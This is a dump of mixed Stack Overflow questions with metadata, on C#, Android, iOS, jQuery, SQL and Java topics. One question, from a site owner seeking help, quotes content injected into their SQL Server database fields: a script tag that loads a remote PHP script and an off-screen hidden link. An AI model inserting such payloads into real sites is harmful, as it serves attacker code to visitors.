text stringlengths 8 267k | meta dict |
|---|---|
Q: How to scan XElement and put all the element ( with value ) in Dictionary? My input is XElement object - and i need to convert this object to Dictionary
The XElement is look like this
<Root>
<child1>1</child1>
<child2>2</child2>
<child3>3</child3>
<child4>4</child4>
</Root>
And the output that i ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554329",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: unable to get the changes made in index of phonegap android I'm unable to get the changes made in the index of PhoneGap Android.
Actually I have added everything into my eclipse android project with phonegap.
When i change that index.html page, I'm not getting the changes in emulator.
Those changes are not reflectin... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554331",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Heap sort analysis In the analysis of heap sort we know that one of the ways to perform heap sort is in two phases.
*
*Create a heap i.e., max or min priority queue.
*Remove the maximum/minimum from priority queue until all elements have been removed
Suppose there are N elements. For phase 1 the number of comp... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554334",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: How does the methods "shouldChangeTextInRange" and "stringByReplacingCharactersInRange" work? I would like to know the working of the following code.
- (BOOL) textField:(UITextField *)textField shouldChangeCharactersInRange:(NSRange)range replacementString:(NSString *)string
{
NSString *newString = [textField.te... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554340",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Component based architecture: Replacing an assembly at runtime Is it a good idea to replace an assembly at runtime?
What problems can I encounter?
Original question: StructureMap - Ability to replace an assembly at runtime
What is the difference in replacing an assembly at runtime within a web- and a non-web applica... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554342",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: how to save data filled in pdf using ABCpdf or EOPdf in asp.net? I have a Pdf with input fields and i want to save the data filled in these field and the output should be a pdf i have searched on net but still notable to find helpful code... or any other example. Please help me as soon as possible. thanks in advance... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554343",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Is it a SQL injection? I am finding my SQL Server database fields getting hacked as follows. Please note that Original Content is existing value of the field and it gets changed to following.
Original Content</title><script src=http://dfrgcc.com/ur.php></script></title><a style=position:absolute;left:-9999px;top:-... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554346",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: Engineyard rollback - does it rollback migrations as well? I am new to Enginyard. I have deployed the application using enginyard web interface but rollback from console using "ey rollback" command.
My question is is this command also rollback the migrations or not ?
A: Judging from the engineyard-serverside API, ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554347",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Use of activity indicator in xml parsing I am new to IOS development. I am developing an app in which i have to do xml parsing. this is taking some time, so i want to display the Activity Indicator during this time. Could anyone let me know how to do it?
where to stast and stop the activity indicator;
Thanks for eve... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554351",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: What is the difference between ANSI C 89 and C that supports by C++? I know there are some difference between ANSI C 89 and C that supports by C++.
for example in ANSI C 89, you should declare variables at first line of blocks.
or when you want to declare struct variables, you should use struct keyword (eg struct st... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554353",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-4"
} |
Q: cycle focus issue - I'm rewrite default template of ListBoxItems & ListBox. Here MainWindow.xaml
<Window x:Class="NestedBindingTry.MainWindow"
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
Loaded="Window_Loaded"
Title="MainWin... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554354",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to replace backslash followed by 't' or any other alphabet or character in escape chacter in file path to forward slash in java? I'm importing a CSV file to MySQL database. This can be done using java.mysql support for forward slash in file path. If user gives the path
String filepath=" c:\upload\date\csv\sample... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554361",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: BLToolkit.4 : DbManager could not be found I'm trying to create new application using BLToolkit but i can't compile the code, i get this error:
The type or namespace name 'DbManager' could not be found (are you
missing a using directive or an assembly reference?
This class is described here
I included this Refer... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554362",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to Find the matched record in mongodb? I have a record in my collection and I want to fetch the details of the person whose id is 1. But I am getting the details for 2times instead of 1.
db.mycollection.insert({"person" : [ { "id":1, "details" : { "name" : "Aswini", "Age" : 10 }}, { "id":2, "details" : { "n... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554370",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: Is there any way to change the default session table field name in NodeJS? I have been using expressJS and connect-mongo plugin to SAVE session data's in MongoDB as follows,
var conf = {
db: {
db: dbconfig.mongo_db_name,
host: dbconfig.mongo_host,
username: '',
password: '',
collection: 'sessio... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554373",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to determine if a table row is visible or not? I want to know how to identify table row is visible or not. I want to resolve by using jQuery
A: You can use the :visible pseudo-selector, and the is method, which returns a boolean value:
if($("#tableRowId").is(":visible")) {
//It's visible
}
A: Is visible s... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554378",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "10"
} |
Q: Problem in passing multiple strings to stringByEvaluatingJavaScriptFromString I'm stuck in a weird problem. I am currently working on mapkit on iPhone. I need to show two routes in my map, for which there is a source city and two different destination. For a route between two cities my code was fine. for that purpo... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554379",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to force django and php to work together? I have project in django on my server (wsgi, configured in apache)
I do not have access to config file, i have only django.wsgi file in my public_html folder.
And django works fine, but i wish in one of the public_html subdirectory place php script.
How to do it?
A: sin... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554384",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Custom AWT Title Window I am new to AWT and I have been given a Photoshop mock up. I have to design a mock up Window based in AWT
Currently, I am stuck at Title Bar design.The Title Window looks like this.
http://i.imgur.com/wT5mm.png
Please let me know how can I accomplish this using AWT.
I am aware that I need to ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554389",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How to Read and Write a single sector in SD Card, using Android NDK How to Read and Write a single sector in SD Card, using Android NDK C/C++?
Is it possible, like this:
http://www.8051projects.net/mmc-sd-interface-fat16/reading-writing-sd-mmc-sector.php
I know it is not possible for Java.
A: This is a low-level o... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554391",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to hide -> move ->show -> an element in loop? $parent.animate({'left': '-='+parentLeft+'px'}, options.speed, options.easing, function(){
if(slideLoop){
$parent.css('left', '-'+getSlidePosition(currentSlide, 'left')+'px');
}
I need to animate $parent in sequence: hide -> move ->show ->
and I need to adapt to the... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554395",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: Replace HTML-encoded symbol (™) in PHP string I'm trying to remove an encoded TM sign from a PHP string which is displayed as a a page title. The character displays as ™ in the title, which is obviously ugly. Unfortunately none of the inbuilt encoding functions seem to deal with translation of very many encode... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554396",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: "undefined reference to `_head_libpython27_a'" So, I've been trying to install py-notify (now I've been running into the same problems with trying to install cython), but I've run into a problem that I wasn't able to fix with Google this time (the only results are for this question now...).
First, I was running into... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554397",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Problem with generating pdf file I'm trying to generate pdf file from xhtml using Flying Saucer do you have any idea why this code always throwx exception?
import org.xhtmlrenderer.pdf.ITextRenderer
import com.lowagie.text.DocumentException
private void testconfiguration(String taskId) throws IOException, DocumentEx... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554399",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Web-based Git that reads Markdown (i.e. README.md like Github) Is there any open source package that provides a web frontend to Git that reads Markdown (i.e. README.md like Github) ?
A: Gitorious understands Markdown syntax in most description fields and whatnot. I don't believe that it will render Markdown conten... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554403",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Where can I download animated gif that are designed for phone mobile applications? I googled about animated gif free download but every site I opened are not good for mobile application. They are all suited for web pages and emails. So where can I download animated gif for these types of mobile application action : ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554404",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Wait for a file using Jquery I have this situation where I have to check if a file exists on the server using JQuery. I can use Jquery Ajax to do this, but I need a listener which listens on the server for the presence of the file, and if it is there, then trigger some action.
To provide more sense here is an examp... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554405",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Changing view states hi guys my problem is when i create a button in state 1 and click on it according to code it should make a group in another state named as expand. However according to my code it is still making group in current state 1. any guidance will be appreciated.
mybutton.addEventListener(... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554406",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: jQuery IE exception 'nodes' is null or not an object On $(element).trigger('someevent') $('body').trigger("ReciveData"); it works just fine on Firefox, Chrome, Safari
then I come to IE its send me exception this the message:
'nodes' is null or not an object
My code:
try {
var tempId = data.substring(0, 4);
... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554408",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Is Razor a Step Backwards? I need some convincing on the Razor View Engine.
From what I can tell, Microsoft have simply re-introduced inline code back into markup; weren't code-behind pages originally introduced to eradicate this?
I assume (and hope) that I am missing something :)
A: razor is best used with MVC. Ye... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554409",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: SQL - Insert Statement conflicting with Foreign Key I've got two tables, Enrolment and Attendance. The Primary Keys of Enrolment are UnitCode and StudentID. The Primary Keys of Assignment are UnitCode, StudentID (both of which are Foreign Keys to the same columns in Enrolment) and AssNo.
I've got a stored procedure... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554414",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: UIPrintInfo symbol not found error in iOS < 4.2 I want to run printer functionality in my iPhone app, which runs perfect in iOS 4.2 but when I'll try to run that app in iOS < 4.2, it gives me error
dyld: Symbol not found: _OBJC_CLASS_$_UIPrintInfo
What could be the cause and how to resolve this issue?
Thanks!
A: ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554419",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: how do i match a space with two shell variables inside awk in just one match function I have a command:
ls -l | nawk -v d1=Sep -v d2=26 '{if(match($0,d1)) print $0}'
-rw-rw-r-- 1 nobody nobody 12 Sep 26 11:36 file1
-rw-rw-r-- 1 nobody nobody 14 Sep 26 11:37 file2
-rw-rw-r-- 1 nobody nobody ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554424",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: c++ Binary Search on dates sorted -> i need a range (cca) I have a binary search on a file. The file is filled with log messages where each line begins with a date (dates or sorted based on event occurs)
example:
*
*2011-09-18 09.38.20.123
*2011-09-18 09.38.20.245
*2011-09-18 09.38.20.393
*2011-09-18 09.38.20... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554427",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Replacing multiple strings I have an XML file with texts in a certain language and I need to traverse it and translate certain expressions. I was thinkging about creating an array containing the expressions and an array containing the replacements:
var searchFor = ['Foo', 'Bar'];
var replaceWith = ['Bar', 'Foo'];
I... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554430",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: PHP, MySQL table query syntax error? I hope someone can help see what's wrong here:
I have a form with two field EMAIL and PASSWORD that opens a php page where I intend to run a simple query on a table.
I get an error message that makes no sense:
You have an error in your SQL syntax; check the manual that correspond... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554431",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: How to convert a date given as "20110912T220000"(NSString) to NSDate I am getting start and end dates for my calendar event(while parsing a .ics file) in "20110912T220000" format. How can I convert this to a NSDate to add to add as event(EKEvent)'s startDate property.
If anyone knows please help me soon.
A: You sho... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554434",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Reflection, generics, eventhandlers and delegates problem I’m struggling with reflection, generics, eventhandlers and delegates. I have a Type which is derived from AsyncCompletedEventArgs. I would like to create a generic EventHandler instance with this Type and also a delegate. Afterwards I want to add this eventh... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554439",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Make an image follow the frame size I'm using Java Swing to make a GUI.
I need to present to the user some information printed on images (which are generated at run time as BufferedImage objects).
What I am doing: I put a JPanel on my JFrame, and when the system calls the paint(Graphics g) method I draw the image on... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554445",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Set DataFormatString for MVC3 DateTime I have some issue with displaying date correctly, using the MVC3 DateTime object.
In the controller, I set Date = DateTime.Now.
In ViewModel:
[Required(ErrorMessage = "Please enter a date")]
[DisplayFormat(ApplyFormatInEditMode = true, DataFormatString = "{0:dd.mm.yyyy}")]
pub... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554446",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "10"
} |
Q: How can I save a custom type as binary data in .NET? I'm creating something that has save files. For the most part, it's just saving objects with 4 values.
*
*x
*y
*id
*layer
I've been saving this as XML for a while, the problem is, the files are starting to get HUGE because I'm saving hundreds to thousands... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554448",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: In Notepad++, using regular expressions to delete something on each line starting with a certain character? On each line, I have a list of pdfs followed by junk.
Like:
yes.pdf xxxxxx
no.pdf aewrnnta
hello.pdf aewraewr
I would like to make it so I get
yes
no
hello
on three separate lines
How can I do this with reg... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554452",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Jsoncpp problems I am using Jsoncpp to parse json-formats for c++.
I do not understand how it works though; there is a lack of documentation and examples to get me started, and I was wondering if anyone could give me some quick pointers. The only examples I've found deals with files...
*
*I'm using a HTTP stack ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554456",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: How to attach a DataPoint with a Theory? @DataPoints public static final Integer[] input1={1,2};
@Theory
@Test
public void test1(int input1){
}
@DataPoints public static final Integer[] input2={3,4};
@Theory
@Test
public void test2(int input2 ){
}
I want that test1 runs with data set input1 - {1,2} and test2 run... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554458",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "19"
} |
Q: Strange limitation in ArrayBufferView constructor The TypedArray specification states that an ArrayBufferView may be created this way:
TypedArray(ArrayBuffer buffer,
optional unsigned long byteOffset, optional unsigned long length)
However, the second parameter, byteOffset, has a limitation:
The given... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554462",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Applying CssStyle to Infragistics WebDataGrid column, when loading dynamically I'm trying to right-align a column in my WDG. I've been through the Infragistics tutorials, so I know that I need to added a new CSS style as such...
tbody > tr > td.ColumnRight
{
text-align: right;
}
Then on my column apply CssStyle... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554463",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How to make a news Scroller for our Web Site I Have a problem that, I want design a Scroller which contains a dynamic data from Database which is updatable by an administrator of the web site and I want to redirect on diffrent Pages when I Selected one of them,and all the values in the scroller is going to upwards f... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554467",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Page Administration & Open Graph I'm an Admin for this page
http://developers.facebook.com/tools/debug/og/object?q=http%3A%2F%2Fwww.westberks.gov.uk%2Findex.aspx%3Farticleid%3D23789
and I've also specified that my App can administer it too. I've Liked this page so I thought I should be able to access the admin scree... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554469",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Getting window coordinates of the insertion point - Cocoa What is the best way to get window coordinates of the current caret position in a text edit control in Cocoa?
Here is how I do that in other platforms
*
*Windows - EM_POSFROMCHAR
*GTK - Using gtk_text_view_get_iter_location and gtk_text_view_buffer_to_wi... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554472",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Using applicationComplete and initialize together in flex? <?xml version="1.0" encoding="utf-8"?>
<s:WindowedApplication xmlns:fx="http://ns.adobe.com/mxml/2009"
xmlns:s="library://ns.adobe.com/flex/spark"
xmlns:mx="library://ns.adobe.com/flex/mx" applicationComplete="init();" i... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554481",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: Is there a performance benefit to creating a multiple index on a primary key + foreign key? If I have a table that has a primary key and a foreign key, and searches are frequently done with queries that include both (...WHERE primary=n AND foreign=x), is there any performance benefit to making a multiple index in My... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554482",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: help with facebook and twitter share buttons im trying to create something similar to this, which is going to show up on each post that I put on my wordpress site. ideally I want it so i can try it out on normal HTML then transfer it to wordpress if possible.
can some one advice me on what the best way of doing thi... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554484",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: YouTube PHP API - Getting status of previously uploaded video? Just started digging into the YouTube PHP API and got the browser-based Zend upload script working. However, I can't find any documentation on how to retrieve the status of the video after it's been uploaded. The main reason I would need this is for erro... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554486",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: How to save dynamically changed HTML? I have around 8 div items arranged in UL LI list. Each has unique ID, and specific content.These items are sortable, I am using jquery UI for this. Once user drag and drop component position of list item changes. But after refreshing the page I am getting same HTML page. I want ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554488",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Ruby Gem for comments with mongoid I am in need to integrate comments to my existing mongoid documents. is there any rubygem available to achieve it?
A: usually you'd use acts_as_commentable
https://github.com/jackdempsey/acts_as_commentable
but it only works with ActiveRecord.
Use this one for Mongoid:
https://g... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554490",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Java - AWS - too many files open I'm using the java AWS SDK in order to download a big amount of files from one S3 bucket, edit the files, and copy them back to a different S3 bucket.
I think it's supposed to work fine, but there is one line that keeps throwing me exceptions:
when I use
myClient.getObject(myGetO... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554491",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: How can I combine MinimumSize with AutoScrollMinSize in c# .net dockable forms? I want my dockable Winforms to have a minimum size when floating. They also show scrollbars if they are minimized to less than a set AutoScrollMinSize property. If I add a MinimumSize property to get a desired behaviour the scrollbars st... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554496",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Multithreading problem using System.out.print vs println I have the following thread which simply prints a dot every 200ms:
public class Progress {
private static boolean threadCanRun = true;
private static Thread progressThread = new Thread(new Runnable()
{
public void run() {
whil... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554499",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "7"
} |
Q: Eclipse plugin sample could not be run On my Mac computer, I follow the tutorial on this page to get the Taipan example run, but still failed so many times.
Switch to the Plug-in Development perspective and open the models folder within the org.eclipse.gmf.examples.taipan project. Explore each of the models found ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554504",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: jQuery: Detect Mouse Click and Open Target in New Tab I'm currently designing a simple forum application. It's mostly powered by jQuery/AJAX and loads everything on the same page; however, I know that sometimes users want to open several topics at once to look at them in new tabs when browsing a forum.
My solution ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554507",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "14"
} |
Q: Error - Open clipboard failed I am using Visio professional 2003. It was working fine. But now when I copy and paste any shapes it showing the error "Open clipboard failed". After that I am not able to change any properties or name.
When I try to close the window it is showing warning as "You cant quit visio program... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554508",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "13"
} |
Q: use defineProperty from a module Let's say in my module I have something like this :
Object.defineProperty(Array.prototype,
'sayHello', {get: function(){ return "hello I'm an array" });
Now I would like to make this change visible to any scripts that import the module. Is this possible ?
I trie... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554509",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Connection Pool Size for Fixed Thread Program I have a fixed thread java program. It is implemented with Spring Integration and ActiveMQ.
Fixed thread here means that program has multiple threads but the count of them in runtime don't change.
Now I need to set connection pool size for it, So I should know:
*
*How... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554516",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Alternative key combination for jumping to the end of a line to enter a semicolon Due to automatic code completion, I regularly find myself in between parentheses, having to get to the end of a line to add the inevitable semicolon.
Then I have to get my right hand up, move it to the right, hit End, and come back to ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554521",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "23"
} |
Q: Creating webpage to retrieve SSRS I created a report using SSRS in sql server 2008 r2,and now i want to create a front end webpage to retrieve the reports depending on the users choice..eg: Giving the user the reports from start to end date..
A: Assuming that you are trying to show it in ASP.NET, you need to use t... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554526",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-3"
} |
Q: Regarding Spring and Apache CXF Integration Inside the applicationcontext.xml file we have like this
<bean id="vincent" class="com.bayer.vincent.service.vincent"/>
<jaxws:endpoint
id="vincentSOAP"
implementor="#vincent"
implementorClass="com.bayer.vincent.service.vincent"
address="/vinc... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554528",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Apple Development Certificate To test the iPhone application in the physical device are needed to obtain the Apple Development Provisioning Profile in iPod and Development Certificate in the MAC.
My question is if the Development Certificate in the MAC can be installed in many MAC or you can install only a single M... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554529",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Coderush Intellassist vs Intellisense I'm using coderush with vs 2008. coding in VB.net.
I don't see any evidence of Intellassist, all i see is the usual VS intellisense.
Is this normal? Preferred? Do most people leave the defaults or do most/some turn off vs's intellisense?
Does intellassist somehow agument intelli... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554532",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Pie chart with percentage in color filling Sample Image url : http://173.201.63.11/CEOontheGO/chartsample
Is there any jquery component to draw the pie chart shown in the attached image? My requirement is if the pie chart has 6 segments, each segment color i have to fill based on the percentage. if 100% is the inpu... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554533",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Hibernate: Inconsistent primary key generation due to one-to-one relation I have two one-to-one relations here between a class called "MailAccount" and the classes "IncomingServer" and "OutgoingServer".
(It's a Java application running on Tomcat and Ubuntu server edition).
The mapping looks like this:
MailAccount.hb... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554535",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: Is it possible to link to the same page from wordpress page menu? I have a big one page wordpress site and a menu created from wordpress admin pages panel. I added everywhere in my main page such links like <A NAME="gohere"> and similar. Now I need to add href's to the page menu name's like <a href="#gohere"> Actual... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554536",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Passing arrays between activities or take data from database I have one question about android basic concepts.
I have an Activity that pass two arrays of Integers to another Activity via an Intent. One array is an array of IDs (Integers) and the other is an array of Names (String). I have all this information also i... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554539",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Cache problem after sending a html-form in some part of my webpage i allow my users to change their profile picture. This is made simple by a form with the element <input type="file" name="avatar" id="avatar" />. After they upload the photo a php script is called were all the image checking and processing is made. W... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554540",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: accessing first n variadic function arguments I have the following code :
template<size_t sz,typename T=float> class Vec{
T v[sz];
Vec(const T& val,const T&... nv){
//how do i assign `sz` number of first arguments into `this->v` array
}
}
I want to create constructor, that receive generic nu... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554545",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "6"
} |
Q: Help with type of layout what type of layout should i be used for a layout like this?
Should i be used linear layout or relative? Could you explain why you chose the layout you did. A sample would be helpful as well.
Thanks
A: If your layout is as simple as the above shown, I would use LinearLayout - mostly becaus... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554546",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Splitting data into a per-year basis using SQL with pivots I'm having some trouble figuring out how construct a series of SQL statements to split some data I have into a per-year basis. There are n items which have a recorded quantity for a set of days across so many years. Here's is a a small sample layout for the ... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554547",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: [Cocos2d]How to Create bitmap from GlSurfaceView How can I take screen shot of Glsurfaceview in Cocos2d. I tried with following code using GLsurfaceView
GlsurfaceView glv=CCDirector.sharedDirector().getOpenGLView();
glv.setDrawingCacheEnabled(true);
Bitmap bitmap=glv.getDrawingCache();
but it return tra... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554553",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: adding reference to facebook sdk in android I am making an android app in which i am using facebook login.
I am unable to add the facebook sdk as library to my project.
can anyone tell what could be the problem.
thanks
A: You got facebook sdk from https://github.com/facebook/facebook-android-sdk Link.
Import this p... | {
"language": "en",
"url": "https://stackoverflow.com/questions/7554559",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "-1"
} |
Q: Sign extension with unsigned long long We found some strange values being produced, a small test case is below.
